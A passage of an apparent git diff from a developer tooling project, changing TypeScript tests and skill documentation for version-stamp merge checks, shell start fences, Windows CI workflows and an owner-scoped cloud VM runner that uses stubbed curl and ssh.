// fails_when=stampedFiles floors every moved version at the reviewed tree's VERSION (behavior=1 on gbrain #8134) or
// drops the floor for base lines; seam=lib/ship-bin-common.ts stampedFiles; no_claim=the restamp writer
const policy = JSON.stringify({ stamp_files: ['VERSION', 'src/notice.ts'], stamp_patterns: ["since: '{version}'"] });
const notice = (...rows: [string, string][]) => `export const NOTICES = [\n${rows.map(([v, text]) => ` { since: '${v}', text: '${text}' },`).join('\n')}\n];\n`;
const lostSlot = (ownRow: string) => {
const f = fx({ '.gstack/ship-policy.json': policy, VERSION: '1.0.0.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old']) },
{ VERSION: '1.0.1.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], [ownRow, 'mine']) });
f.advanceBase({ VERSION: '1.0.2.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.1.0', 'theirs']) });
mergeMain(f, { VERSION: '1.0.2.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.1.0', 'theirs'], [ownRow, 'mine']) });
return { f, reviewed: wtree(f), reviewedBase: mergeBase(f), post: snapshot(f) };
};
const behaviorStop = 'STOP: behavior, tests or build inputs changed since review (src/notice.ts): insert 5–11.5 → 12–14 → 16 before Step 17 (stage 2.1)';
test('the moved stale stamp is metadata; a moved base row or pre-fork row stops', () => {
const own = lostSlot('1.0.1.0');
own.f.write({ VERSION: '1.0.3.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.1.0', 'theirs'], ['1.0.3.0', 'mine']) }); own.f.commit('restamp 1.0.3.0');
const ok = finish(own.f, own.reviewed, own.post, ['--reviewed-base', own.reviewedBase]);
expect([lineOf(ok.stdout, 'ROUTE'), lineOf(ok.stdout, 'DOCS')]).toEqual([expect.stringMatching(/ behavior=0 docs=0 metadata=2 tests=0 /), expect.not.stringContaining('src/notice.ts')]);
const base = lostSlot('1.0.1.0');
base.f.write({ VERSION: '1.0.3.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.3.0', 'theirs'], ['1.0.3.0', 'mine']) }); base.f.commit('restamp plus the base row');
const b = finish(base.f, base.reviewed, base.post, ['--reviewed-base', base.reviewedBase]);
expect([b.status, lineOf(b.stdout, 'STOP')]).toEqual([3, behaviorStop]);
const old = lostSlot('0.9.5.0');
old.f.write({ VERSION: '1.0.3.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.1.0', 'theirs'], ['1.0.3.0', 'mine']) }); old.f.commit('moves a pre-fork row');
const o = finish(old.f, old.reviewed, old.post, ['--reviewed-base', old.reviewedBase]);
expect([o.status, lineOf(o.stdout, 'STOP')]).toEqual([3, behaviorStop]);
const atFork = lostSlot('1.0.0.0');
atFork.f.write({ VERSION: '1.0.3.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.1.0', 'theirs'], ['1.0.3.0', 'mine']) }); atFork.f.commit('moves a row at the fork version');
const a = finish(atFork.f, atFork.reviewed, atFork.post, ['--reviewed-base', atFork.reviewedBase]);
expect([a.status, lineOf(a.stdout, 'STOP')]).toEqual([3, behaviorStop]);
const edited = lostSlot('1.0.1.0');
edited.f.advanceBase({ VERSION: '1.0.2.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.1.0', 'theirs, edited']) }); edited.f.git('fetch', '-q', 'origin');
edited.f.write({ VERSION: '1.0.3.0\n', 'src/notice.ts': notice(['0.9.0.0', 'old'], ['1.0.3.0', 'theirs'], ['1.0.3.0', 'mine']) }); edited.f.commit('moves a merged base row the base later edited');
const e = finish(edited.f, edited.reviewed, edited.post, ['--reviewed-base', edited.reviewedBase]);
expect([e.status, lineOf(e.stdout, 'STOP')]).toEqual([3, behaviorStop]);
});
});
describe('adjacent base edits (GST-384, #3631, founderstar#441)', () => {
// Value: protects=a base edit next to the branch's unchanged hunk asks for a scoped review of only those hunks (finish
// context=N, carry RECEIPT_CARRY_SCOPED_REVIEW), and a clean scoped review lets it through; fails_when=it forces the
+89
View File
@@ -0,0 +1,89 @@
/**
* GST-882: the skill-start fence must be plain shell a static resolver can
* follow. Hermes's Tirith 0.4.2 blocks a grouped fallback
* (`[ -d … ]||{ …; exit 1;}`) and any variable-selected command with HIGH
* "Nested executable body could not be resolved", which no allowlist entry can
* clear, so every gstack skill start was denied. An install-root render names
* the literal start path; every render keeps a loud failure when gstack is
* missing.
*/
import { describe, expect, test } from 'bun:test';
import { spawnSync } from 'child_process';
import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { ALL_HOST_CONFIGS } from '../hosts';
import { generatePreambleBash } from '../scripts/resolvers/preamble/generate-preamble-bash';
import { insertRuntimePreludes, runtimeRootPrelude } from '../scripts/resolvers/runtime-root';
import { HOST_PATHS, type TemplateContext } from '../scripts/resolvers/types';
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'gst882-'));
const ctx = (host: string, installRoot: string | null) =>
({ host, paths: HOST_PATHS[host], skillName: 'ship', tmplPath: '', model: 'claude', installRoot }) as TemplateContext;
const startFence = (c: TemplateContext) => insertRuntimePreludes(generatePreambleBash(c), c).match(/```bash\n([\s\S]*?)\n```/)![1];
const GROUPED = /(?:^|[;&|]\s*)\{\s|exit 1;\s*\}/m;
const sh = (body: string, env: Record<string, string>, cwd = tmp) =>
spawnSync('bash', ['-uc', body], { cwd, encoding: 'utf8', timeout: 10_000, env: { PATH: '/usr/bin:/bin', ...env } });
function stubStart(root: string) {
fs.mkdirSync(path.join(root, 'bin'), { recursive: true });
fs.mkdirSync(path.join(root, 'lib'), { recursive: true });
fs.writeFileSync(path.join(root, 'bin', 'gstack-skill-start'), '#!/bin/sh\necho "STARTED $0 $*"\n', { mode: 0o755 });
}
describe('skill-start fence is plain shell on every host (GST-882)', () => {
for (const host of ALL_HOST_CONFIGS) {
for (const installRoot of [null, path.join(tmp, `${host.name}-install`)]) {
const label = `${host.name} ${installRoot ? 'install-root' : 'checked-in'} render`;
test(`${label}: no grouped fallback`, () => {
expect(startFence(ctx(host.name, installRoot))).not.toMatch(GROUPED);
});
if (!host.usesEnvVars) continue;
test(`${label}: a missing install fails loudly`, () => {
const r = sh(startFence(ctx(host.name, installRoot)), { HOME: path.join(tmp, 'empty-home') });
expect(r.status).not.toBe(0);
expect(r.stderr).toContain('gstack: no install found');
expect(r.stderr).toContain(`./setup --host ${host.name}`);
});
}
if (!host.usesEnvVars) continue;
test(`${host.name} install-root render: the start command is a literal path that runs`, () => {
const root = path.join(tmp, `${host.name}-literal`);
const fence = startFence(ctx(host.name, root));
const command = fence.split('\n').at(-1)!;
expect(command).toStartWith(`"${root}/bin/gstack-skill-start" --skill "ship"`);
expect(fence).not.toContain('$');
stubStart(root);
const r = sh(fence, { HOME: path.join(tmp, 'empty-home') });
expect(r.status, r.stderr).toBe(0);
expect(r.stdout).toContain(`STARTED ${root}/bin/gstack-skill-start --skill ship`);
});
test(`${host.name} checked-in render: finds the global install`, () => {
const home = path.join(tmp, `${host.name}-home`);
const global = path.join(home, host.name === 'codex' ? '.codex/skills/gstack' : host.globalRoot);
stubStart(global);
const r = sh(startFence(ctx(host.name, null)), { HOME: home });
expect(r.status, r.stderr).toBe(0);
expect(r.stdout).toContain('STARTED ');
expect(r.stdout).toContain('--skill ship');
});
test(`${host.name} checked-in render: the start lookup picks the root later fences pick`, () => {
const base = path.join(tmp, `${host.name}-parity`);
const home = path.join(base, 'home');
const repo = path.join(base, 'repo');
const exported = path.join(base, 'exported');
stubStart(path.join(home, host.name === 'codex' ? '.codex/skills/gstack' : host.globalRoot));
fs.mkdirSync(repo, { recursive: true });
spawnSync('git', ['init', '-q', repo], { timeout: 10_000 });
const c = ctx(host.name, null);
const lookup = startFence(c).split('\n').slice(0, -1).join('\n');
const root = (body: string, env: Record<string, string>) => sh(`${body}\necho "ROOT=$GSTACK_ROOT"`, env, repo).stdout.trim().split('\n').at(-1);
for (const layout of ['global', 'repo-local', 'exported']) {
if (layout === 'repo-local') stubStart(path.join(repo, host.localSkillRoot));
if (layout === 'exported') stubStart(exported);
const env: Record<string, string> = layout === 'exported' ? { HOME: home, GSTACK_ROOT: exported } : { HOME: home };
expect(root(lookup, env)).toBe(root(runtimeRootPrelude(c), env));
if (layout === 'exported') expect(root(lookup, env)).toBe(`ROOT=${exported}`);
}
});
}
});
+5 -5
View File
@@ -189,7 +189,7 @@ describe('collectHealth over recorded fixture data', () => {
[/workflows\/free-tests\.yml\/runs/, () => ({ workflow_runs: [run(60), run(61, { conclusion: 'failure' })] })],
[/runs\/60\/artifacts/, () => ({ artifacts: [{ id: 61, name: 'flake-ledger-2', size_in_bytes: 10 }] })],
[/runs\/61\/artifacts/, () => ({ artifacts: [] })],
[/workflows\/windows-free-tests\.yml\/runs/, () => ({ workflow_runs: windowsRuns })],
[/workflows\/windows-smoke\.yml\/runs/, () => ({ workflow_runs: windowsRuns })],
], {
11: { 'manifest.json': JSON.stringify({ prCoverage: { mode: 'full-fallback', e2e: ['gate-a', 'gate-b'], judges: ['judge-a'],
shadow: { e2e: ['gate-a', 'gate-b'], wouldDrop: [], wouldAdd: [], provenance: [], predictedSavingUsd: 0, unpricedCases: 0 } } }) },
@@ -218,7 +218,7 @@ describe('collectHealth over recorded fixture data', () => {
expect(value('census-redispatch').value).toBe('0 of 1 census(es) re-dispatched; longest paid slice job 20.0 min');
expect(value('quarantine-evidence').value).toContain('insufficient evidence (not the same as healthy)');
expect(value('free-flaky-pass-rate').value).toStartWith('50.0% (1/2 main runs');
expect(value('free-wall').value).toBe('free-tests 0.0 min (1 runs); windows-free-tests (successful PR runs) 0.0 min (1 runs)');
expect(value('free-wall').value).toBe('free-tests 0.0 min (1 runs); windows-smoke (successful PR runs) 0.0 min (1 runs)');
expect(value('free-serial').value).toBe('3 s over 3 files');
for (const entry of report.metrics.filter(entry => entry.id !== 'net-complexity')) {
expect(entry.rule.length).toBeGreaterThan(10);
@@ -287,10 +287,10 @@ describe('collectHealth over recorded fixture data', () => {
const pr = (id: number, minutes: number, extra: Record<string, unknown> = {}) => run(id, { event: 'pull_request', head_branch: `pr-${id}`,
run_started_at: day(1), updated_at: new Date(Date.parse(day(1)) + minutes * 60_000).toISOString(), ...extra });
expect(wall([pr(70, 6), pr(71, 7), pr(74, 8), pr(72, 30, { conclusion: 'failure' }), run(73, { event: 'workflow_dispatch', run_started_at: day(3), updated_at: day(1) })]).value)
.toBe('free-tests 0.0 min (1 runs); windows-free-tests (successful PR runs) 7.0 min (3 runs)');
.toBe('free-tests 0.0 min (1 runs); windows-smoke (successful PR runs) 7.0 min (3 runs)');
expect(wall([run(73, { event: 'workflow_dispatch', run_started_at: day(3), updated_at: day(1) })]).value)
.toBe('free-tests 0.0 min (1 runs); windows-free-tests (successful PR runs) no successful PR runs in window');
expect(wall([]).rule).toContain('workflow_dispatch duration recordings excluded');
.toBe('free-tests 0.0 min (1 runs); windows-smoke (successful PR runs) no successful PR runs in window');
expect(wall([]).rule).toContain('workflow_dispatch runs excluded');
});
test('a rate-limited API degrades every remote metric to a named unavailable reason, never 0, and keeps the issue open', () => {
+1
View File
@@ -50,6 +50,7 @@ describe('ubi-runner run, verify and quota against a fake API and a fake ssh', (
const err = r.stderr.toString();
expect(r.exitCode, err).toBe(0);
expect(err).toMatch(/UBICLOUD: left=0 owner=thrd1 vm=ubirun-thrd1-\d{10}-[0-9a-f]{8}-t3 others=1\n/);
expect(err).toMatch(/carries a 3h TTL \(this owner's next up or reap destroys it once it expires\); if this process dies first: /);
expect(f.listed()).toBe('eu-central-h1 ubirun-thrd1-9999999999-sib1-t3\n');
// Value: protects=UBI_LEFT_FILE carries the same leftover line pregate-remote.sh parses, apart from the command's output; fails_when=the file is not written or its format drifts from pregate-remote.sh's parser; why_new=the pregate stub hand-copies the format; seam=none; no_claim=real VM teardown (fake API and ssh)
expect(readFileSync(leftFile, 'utf8')).toMatch(/^UBICLOUD: left=0 owner=thrd1 vm=ubirun-thrd1-\d{10}-[0-9a-f]{8}-t3 others=1\n$/);
+3 -3
View File
@@ -210,12 +210,12 @@ describe('ubi-runner run, verify and quota against a fake API and a fake ssh', (
}, 90_000);
test('reap reports a failed list and a failed destroy as failures; UBI_TTL_HOURS rejects leading zeros and more than three digits', () => {
const f = fakeVm({ listed: 'eu-central-h1 ubirun-other-1000000000-bbbb-t1\n' });
const f = fakeVm({ listed: 'eu-central-h1 ubirun-thrd1-1000000000-bbbb-t1\n' });
try {
writeFileSync(join(f.root, 'bin/curl'), '#!/usr/bin/env bash\nout=""; while [ $# -gt 0 ]; do [ "$1" = -o ] && out=$2; shift; done\nbody=$(cat)\ncase "$body" in\n *\'"list"\'*) echo "eu-central-h1 ubirun-other-1000000000-bbbb-t1" > "$out"; printf 200 ;;\n *\'"show"\'*) printf \'state: running\\nsize: standard-16\\nip4: 192.0.2.1\\n\' > "$out"; printf 200 ;;\n *) echo "boom" > "$out"; printf 500 ;;\nesac\n');
writeFileSync(join(f.root, 'bin/curl'), '#!/usr/bin/env bash\nout=""; while [ $# -gt 0 ]; do [ "$1" = -o ] && out=$2; shift; done\nbody=$(cat)\ncase "$body" in\n *\'"list"\'*) echo "eu-central-h1 ubirun-thrd1-1000000000-bbbb-t1" > "$out"; printf 200 ;;\n *\'"show"\'*) printf \'state: running\\nsize: standard-16\\nip4: 192.0.2.1\\n\' > "$out"; printf 200 ;;\n *) echo "boom" > "$out"; printf 500 ;;\nesac\n');
const destroyFails = run(f, ['reap']);
expect(destroyFails.exitCode).toBe(1);
expect(destroyFails.stderr.toString()).toContain('failed to reap eu-central-h1/ubirun-other-1000000000-bbbb-t1');
expect(destroyFails.stderr.toString()).toContain('failed to reap eu-central-h1/ubirun-thrd1-1000000000-bbbb-t1');
expect(destroyFails.stderr.toString()).toContain('reap: 1 of 1 expired VMs could not be destroyed');
writeFileSync(join(f.root, 'bin/curl'), '#!/usr/bin/env bash\nout=""; while [ $# -gt 0 ]; do [ "$1" = -o ] && out=$2; shift; done\ncat >/dev/null; echo "down" > "$out"; printf 503\n');
const listFails = run(f, ['reap']);
+29 -7
View File
@@ -204,25 +204,25 @@ esac
} finally { rmSync(f.root, { recursive: true, force: true }); }
});
test('up reaps expired TTL VMs of any owner first, names its own VM with -t<hours>, and the quota preflight refuses before any create request', () => {
const listed = 'eu-central-h1 ubirun-other-1000000000-bbbb-t1\neu-central-h1 ubirun-peer-9999999999-cccc\n';
test('up reaps this owner\'s expired TTL VMs first and leaves another owner\'s, names its own VM with -t<hours>, and the quota preflight refuses before any create request', () => {
const listed = 'eu-central-h1 ubirun-thrd1-1000000000-hhhh-t1\neu-central-h1 ubirun-peer-9999999999-cccc\n';
const f = fakeApi({ destroy: 200, listed });
try {
const r = Bun.spawnSync(['bash', join(DIR, 'ubi-runner.sh'), 'up'], { env: { ...process.env, PATH: `${join(f.root, 'bin')}:${process.env.PATH}`, UBICLOUD_API_KEY: 'offline', UBI_RUNNER_STATE: join(f.root, 'state'), UBI_POLL_SECONDS: '1', UBI_VM_RECORD: f.record, UBI_OWNER: 'thrd1', UBI_QUOTA_VCPUS: '31' }, timeout: 90_000 });
expect(r.exitCode).toBe(1);
const err = r.stderr.toString();
expect(err).toMatch(/reaping expired eu-central-h1\/ubirun-other-1000000000-bbbb-t1 \(owner other; its TTL ended \d+ min ago\)/);
expect(err).toMatch(/reaping expired eu-central-h1\/ubirun-thrd1-1000000000-hhhh-t1 \(owner thrd1; its TTL ended \d+ min ago\)/);
expect(err).toMatch(/quota preflight refused eu-central-h1\/ubirun-thrd1-\d{10}-[0-9a-f]{8}-t3 \(standard-16\): it needs 16 vCPUs and the project's VMs already use 16 of 31/);
expect(err).toContain('create refused before any request: vCPU quota exhausted');
const destroyed = f.calls().split('\n').filter(l => l.includes('destroy'));
expect(destroyed).toHaveLength(1);
expect(destroyed[0]).toContain('ubirun-other-1000000000-bbbb-t1');
expect(destroyed[0]).toContain('ubirun-thrd1-1000000000-hhhh-t1');
expect(f.calls()).not.toContain('"create"');
expect(existsSync(f.record)).toBe(false);
} finally { rmSync(f.root, { recursive: true, force: true }); }
});
test('UBI_REAP=0 skips the reap and UBI_TTL_HOURS sets the name\'s TTL; reap destroys expired TTLs and this owner\'s old TTL-less names, never unexpired, recent, another owner\'s TTL-less, untagged or foreign ones', () => {
test('UBI_REAP=0 skips the reap and UBI_TTL_HOURS sets the name\'s TTL; reap destroys this owner\'s expired TTLs and old TTL-less names, never unexpired, recent, another owner\'s expired or TTL-less, untagged or foreign ones', () => {
const now = Math.floor(Date.now() / 1000);
const listed = `eu-central-h1 ubirun-other-1000000000-bbbb-t1\neu-central-h1 ubirun-thrd1-9999999999-dddd-t1\neu-central-h1 ubirun-thrd1-1000000000-aaaa\neu-central-h1 ubirun-1000000000-cccc\neu-central-h1 ubirun-thrd1-${now - 3 * 3600}-eeee\neu-central-h1 ubirun-gbra240-1000000000-gggg\neu-central-h1 team-db-1000000000-ffff\n`;
const f = fakeApi({ destroy: 200, listed });
@@ -235,7 +235,8 @@ esac
expect(reap.exitCode).toBe(0);
expect(reap.stderr.toString()).toMatch(/reaping TTL-less eu-central-h1\/ubirun-thrd1-1000000000-aaaa \(owner thrd1; \d+h old, legacy sweep at 4h\)/);
const destroyed = f.calls().split('\n').filter(l => l.includes('destroy')).map(l => l.match(/ubirun-[a-z0-9-]+|team-db-[a-z0-9-]+/)?.[0]).sort();
expect(destroyed).toEqual(['ubirun-other-1000000000-bbbb-t1', 'ubirun-thrd1-1000000000-aaaa']);
expect(destroyed).toEqual(['ubirun-thrd1-1000000000-aaaa']);
expect(reap.stderr.toString()).toContain('reap: left 1 expired VMs of other owners; only their owners reap them');
expect(f.run('reap').stderr.toString()).toContain('reap: no expired VMs');
// Value: protects=UBI_LEGACY_HOURS sets reap's bound for TTL-less ubirun names (a 3h-old name is spared at 4h, reaped at 2h); fails_when=reap ignores UBI_LEGACY_HOURS and keeps a fixed bound; why_new=only the default bound and the validation are tested; seam=none; no_claim=real Ubicloud list and destroy (fake curl)
const lowered = Bun.spawnSync(['bash', join(DIR, 'ubi-runner.sh'), 'reap'], { env: { ...process.env, PATH: `${join(f.root, 'bin')}:${process.env.PATH}`, UBICLOUD_API_KEY: 'offline', UBI_RUNNER_STATE: join(f.root, 'state'), UBI_POLL_SECONDS: '1', UBI_VM_RECORD: f.record, UBI_OWNER: 'thrd1', UBI_LEGACY_HOURS: '2' }, timeout: 90_000 });
@@ -243,13 +244,34 @@ esac
expect(lowered.stderr.toString()).toMatch(/reaping TTL-less eu-central-h1\/ubirun-thrd1-\d{10}-eeee \(owner thrd1; 3h old, legacy sweep at 2h\)/);
expect(f.calls()).toMatch(/ubirun-thrd1-\d{10}-eeee[^\n]*destroy/);
// Value: protects=the legacy sweep never destroys another lane's or an untagged TTL-less VM (GST-324: 22 gbra240 eval VMs lost); fails_when=the sweep matches any owner again; why_new=the cross-owner sweep destroyed a paid eval; seam=none; no_claim=real Ubicloud list and destroy (fake curl)
expect(f.calls()).not.toMatch(/(team-db|dddd|gggg|cccc)[^\n]*destroy/);
expect(f.calls()).not.toMatch(/(team-db|dddd|gggg|cccc|bbbb)[^\n]*destroy/);
const ownerless = Bun.spawnSync(['bash', join(DIR, 'ubi-runner.sh'), 'reap'], { env: { ...process.env, PATH: `${join(f.root, 'bin')}:${process.env.PATH}`, UBICLOUD_API_KEY: 'offline', UBI_RUNNER_STATE: join(f.root, 'state'), UBI_POLL_SECONDS: '1', UBI_VM_RECORD: f.record, UBI_OWNER: '', UBI_LEGACY_HOURS: '1' }, timeout: 90_000 });
expect(ownerless.exitCode).toBe(0);
expect(ownerless.stderr.toString()).not.toContain('reaping TTL-less');
} finally { rmSync(f.root, { recursive: true, force: true }); }
}, 30_000);
// Value: protects=reap and every up destroy only the caller's own VMs, never another owner's, even one whose TTL ran out (the 2026-10-30 owner-scoped-deletes rule; GST-324 lost 22 of gbrain's eval VMs to a cross-owner sweep); fails_when=reap judges another owner's VM by its TTL again; why_new=the old cases asserted the cross-owner TTL reap this rule forbids; seam=none; no_claim=real Ubicloud list and destroy (fake curl)
test('reap and up destroy only the caller\'s own expired VMs: another owner\'s and an untagged expired VM survive (GST-573)', () => {
const listed = 'eu-central-h1 ubirun-other-1000000000-bbbb-t1\neu-central-h1 ubirun-1000000000-cccc-t1\neu-central-h1 ubirun-thrd1-1000000000-hhhh-t1\n';
const f = fakeApi({ destroy: 200, listed });
try {
const reap = f.run('reap');
expect(reap.exitCode).toBe(0);
expect(reap.stderr.toString()).toMatch(/reaping expired eu-central-h1\/ubirun-thrd1-1000000000-hhhh-t1 \(owner thrd1; its TTL ended \d+ min ago\)/);
expect(reap.stderr.toString()).toContain('reap: left 2 expired VMs of other owners; only their owners reap them');
const destroyed = f.calls().split('\n').filter(l => l.includes('destroy'));
expect(destroyed).toHaveLength(1);
expect(destroyed[0]).toContain('ubirun-thrd1-1000000000-hhhh-t1');
const up = Bun.spawnSync(['bash', join(DIR, 'ubi-runner.sh'), 'up'], { env: { ...process.env, PATH: `${join(f.root, 'bin')}:${process.env.PATH}`, UBICLOUD_API_KEY: 'offline', UBI_RUNNER_STATE: join(f.root, 'state'), UBI_POLL_SECONDS: '1', UBI_VM_RECORD: f.record, UBI_OWNER: 'thrd1', UBI_QUOTA_VCPUS: '1' }, timeout: 90_000 });
expect(up.stderr.toString()).toContain('create refused before any request');
expect(up.stderr.toString()).toContain('reap: left 2 expired VMs of other owners; only their owners reap them');
expect(up.stderr.toString()).not.toMatch(/reaping[^\n]*(ubirun-other|ubirun-1000000000-cccc)/);
expect(f.calls().split('\n').filter(l => l.includes('destroy'))).toHaveLength(1);
for (const name of ['ubirun-other-1000000000-bbbb-t1', 'ubirun-1000000000-cccc-t1']) expect(readFileSync(join(f.root, 'listed'), 'utf8')).toContain(name);
} finally { rmSync(f.root, { recursive: true, force: true }); }
}, 90_000);
// Value: protects=a project with no VMs (Ubicloud answers vm list with a bare newline) reads as empty everywhere vm_rows feeds; fails_when=a blank list row becomes a VM named "-" again and reap dies on it or usage asks to show it; why_new=every fake list in this file had at least one VM, so #3678 shipped green; seam=none; no_claim=the real API's empty-body shape (taken from #3678's reading of ubi_cli.rb)
test('an empty project (vm list answers a bare or blank line) has no VMs: reap destroys nothing and exits 0, usage prints total 0 0, list --mine prints nothing (#3678)', () => {
for (const listed of ['\n', ' \n']) {
+50 -3
View File
@@ -14,6 +14,8 @@ const root = path.resolve(import.meta.dir, '..');
const load = (file: string) => Bun.YAML.parse(readFileSync(path.join(root, '.github/workflows', file), 'utf8')) as any;
const windows = load('windows-free-tests.yml');
const native = load('native-qualification.yml');
const smoke = load('windows-smoke.yml');
const smokeText = readFileSync(path.join(root, '.github/workflows/windows-smoke.yml'), 'utf8');
/**
* Ratchet: the Windows-safe subset may not silently shrink. If you deleted or
@@ -22,9 +24,9 @@ const native = load('native-qualification.yml');
*/
const WINDOWS_CURATED_FLOOR = 795;
test('the Windows lane plans, runs one strict shard per job and verifies every result', () => {
expect(Object.keys(windows.on).sort()).toEqual(['pull_request', 'push', 'workflow_call', 'workflow_dispatch']);
expect(windows.on.push).toEqual({ branches: ['main'] });
test('the Windows lane runs nightly and by hand, plans, runs one strict shard per job and verifies every result', () => {
expect(Object.keys(windows.on).sort()).toEqual(['schedule', 'workflow_call', 'workflow_dispatch']);
expect(windows.on.schedule).toEqual([{ cron: '17 9 * * *' }]);
expect(Object.keys(windows.on.workflow_dispatch.inputs)).toEqual(['record_durations']);
expect(Object.keys(windows.on.workflow_call.inputs)).toEqual(['record_durations']);
const plan = windows.jobs['windows-plan'];
@@ -35,6 +37,7 @@ test('the Windows lane plans, runs one strict shard per job and verifies every r
const shard = windows.jobs['windows-free-shard'];
expect(shard['runs-on']).toBe('windows-latest');
expect(shard.needs).toEqual(['windows-plan', 'reuse']);
expect(shard.if).toStartWith('${{ !cancelled() && !inputs.record_durations && ');
expect(shard.strategy).toEqual({ 'fail-fast': false, matrix: '${{ fromJSON(needs.windows-plan.outputs.matrix) }}' });
const run = shard.steps.find((step: any) => step.name === 'Run Windows-safe shard');
expect(run.run).toStartWith('bun run test:windows --ci-run "$RUNNER_TEMP/windows-plan.json" --shard ${{ matrix.shard }} --result ');
@@ -77,6 +80,50 @@ test('a record_durations dispatch times each Windows-safe file alone and uploads
expect(job.steps.at(-1).if).toBe("always() && steps.seed.outcome == 'success'");
});
test('windows-smoke is the PR gate: every pull request and main push, one windows-latest job', () => {
expect(Object.keys(smoke.on).sort()).toEqual(['pull_request', 'push', 'workflow_dispatch']);
expect(smoke.on.pull_request).toEqual({ branches: ['main'] });
expect(smoke.on.push).toEqual({ branches: ['main'] });
expect(smoke.permissions).toEqual({ contents: 'read' });
expect(Object.keys(smoke.jobs)).toEqual(['windows-smoke']);
const job = smoke.jobs['windows-smoke'];
expect(job['runs-on']).toBe('windows-latest');
expect(job.if).toBeUndefined();
const step = (name: string) => job.steps.find((s: any) => s.name === name);
expect(step('./setup installs into an isolated HOME').run).toContain('./setup --host claude');
const start = step('The core skills start').run;
expect(start).toContain('for skill in ship review qa-only investigate browse; do');
expect(start).toContain("grep -q '^SKILL_START_PROTO: 1'");
expect(step("/browse on gstack's own browser runs a piped chain flow from an unrelated directory").run).toContain('| "$BROWSE" chain');
const tests = step('Fastest Windows-safe free tests for install and the core skills');
expect(tests.run).toContain('bun run scripts/test-free-shards.ts --files-from "$RUNNER_TEMP/windows-smoke-files.txt"');
expect(tests.env.GSTACK_FREE_RETRY_FLAKY).toBe('1');
});
test('every windows-smoke test is Windows-safe, seeded fast, and says why it is there', () => {
const run: string = smoke.jobs['windows-smoke'].steps.find((s: any) => s.name === 'Fastest Windows-safe free tests for install and the core skills').run;
const files = run.slice(run.indexOf("<<'LIST'\n") + 9, run.indexOf('\nLIST')).split('\n');
expect(files.length).toBeGreaterThan(0);
expect(new Set(files).size).toBe(files.length);
const { safe } = curateWindowsSafe(collectFreeTestFiles(root), root);
expect(files.filter(file => !safe.includes(file))).toEqual([]);
const seed = JSON.parse(readFileSync(path.join(root, 'scripts/free-test-durations-windows.json'), 'utf8')).durations as Record<string, number>;
expect(files.filter(file => !(seed[file] <= 5_000))).toEqual([]);
expect(files.reduce((sum, file) => sum + seed[file]!, 0)).toBeLessThan(60_000);
for (const file of files) expect(smokeText).toMatch(new RegExp('# ' + path.basename(file, '.test.ts').replace(/[.-]/g, '\\$&') + ' \\([0-9.]+\\): \\S'));
});
test('no Windows job restores or saves the bun install cache', () => {
// GSTA-203 PR 1: a cold install (16-17 s) beat restoring the ~450 MB
// windows-bun entry (33-42 s), and PR merge-ref saves filled the 10 GB quota.
for (const file of ['windows-free-tests.yml', 'windows-smoke.yml', 'windows-setup-e2e.yml']) {
for (const [name, job] of Object.entries<any>(load(file).jobs)) {
const caches = (job.steps ?? []).filter((step: any) => step.uses?.startsWith('actions/cache'));
expect({ file, job: name, caches }).toEqual({ file, job: name, caches: [] });
}
}
});
test('Windows shards use the pinned Node runtime and retain complete logs on every run', () => {
const steps = windows.jobs['windows-free-shard'].steps;
const node = steps.find((step: any) => step.uses?.startsWith('actions/setup-node@'));
+1 -1
View File
@@ -94,7 +94,7 @@ describe('Writing Style preamble section', () => {
const fenceLine = out.split('\n').find(l => l.includes('gstack-skill-start" --skill'));
expect(fenceLine).toBeDefined();
expect(fenceLine).not.toMatch(/~\/\.claude\//);
expect(fenceLine).toContain('$GSTACK_BIN');
expect(fenceLine).toContain('$GSTACK_ROOT/bin/');
});
test('tier 1 preamble does NOT include Writing Style section', () => {
+8 -8
View File
@@ -102,7 +102,7 @@ telemetry — it never blocks the workflow.
A full suite or verify that takes an hour on a 4-core sandbox takes minutes on a
`standard-16` VM, and a VM that outlives its run costs the whole project its
shared vCPU quota. This skill is one runner with the discipline built in: every
VM carries its owner and a TTL in its name, any later run reaps expired VMs, the
VM carries its owner and a TTL in its name, its owner's next run reaps it once expired, the
create is refused before the quota fills, a silent remote command is killed with
its last output instead of hanging, and a repository's verify is one committed
definition rather than a wrapper per lane.
@@ -143,12 +143,12 @@ $U usage # VMs and vCPUs per owner: who holds the shared quota
```
A VM in `records` but absent from `list` is already gone: `$U down <name>`
forgets it. A VM in the project under another owner is theirs; leave it (its
TTL will reap it). Every `up` runs `$U reap` first, destroying any VM whose
`-t<hours>` TTL ended more than ten minutes ago, whichever owner made it, and
this owner's own `ubirun-<UBI_OWNER>-*` names with no TTL once they are
`UBI_LEGACY_HOURS` old (default 4). Another owner's TTL-less VM, an untagged
one and names outside the `ubirun-` prefix are never reaped.
forgets it. A VM in the project under another owner is theirs; leave it.
Every `up` runs `$U reap` first, destroying only this owner's
`ubirun-<UBI_OWNER>-*` VMs whose `-t<hours>` TTL ended more than ten minutes
ago, and those with no TTL once they are `UBI_LEGACY_HOURS` old (default 4).
Another owner's VM, expired or not, an untagged one and names outside the
`ubirun-` prefix are never reaped.
Quota: with `UBI_QUOTA_VCPUS=<project ceiling>` exported (or after one refusal,
whose maximum the runner remembers), `up` adds the size's vCPUs to the project's
@@ -171,7 +171,7 @@ background operation leaves its VM until the reaper. So:
`### gstack-detach EXIT=<code> ###` sentinel.
- Set `UBI_TTL_HOURS` above the longest plausible run (default 3; 1-999) and
name the expected duration in the thread before launching anything over an
hour. A run that outlives its TTL is reaped by the next `up` anywhere.
hour. A run that outlives its TTL is reaped by its owner's next `up` or `reap`.
The runner prints `<name> carries a <n>h TTL ...; if this process dies first:
<self> down <name>` right after the VM is ready; quote that line in your report
+8 -8
View File
@@ -28,7 +28,7 @@ sensitive: false
A full suite or verify that takes an hour on a 4-core sandbox takes minutes on a
`standard-16` VM, and a VM that outlives its run costs the whole project its
shared vCPU quota. This skill is one runner with the discipline built in: every
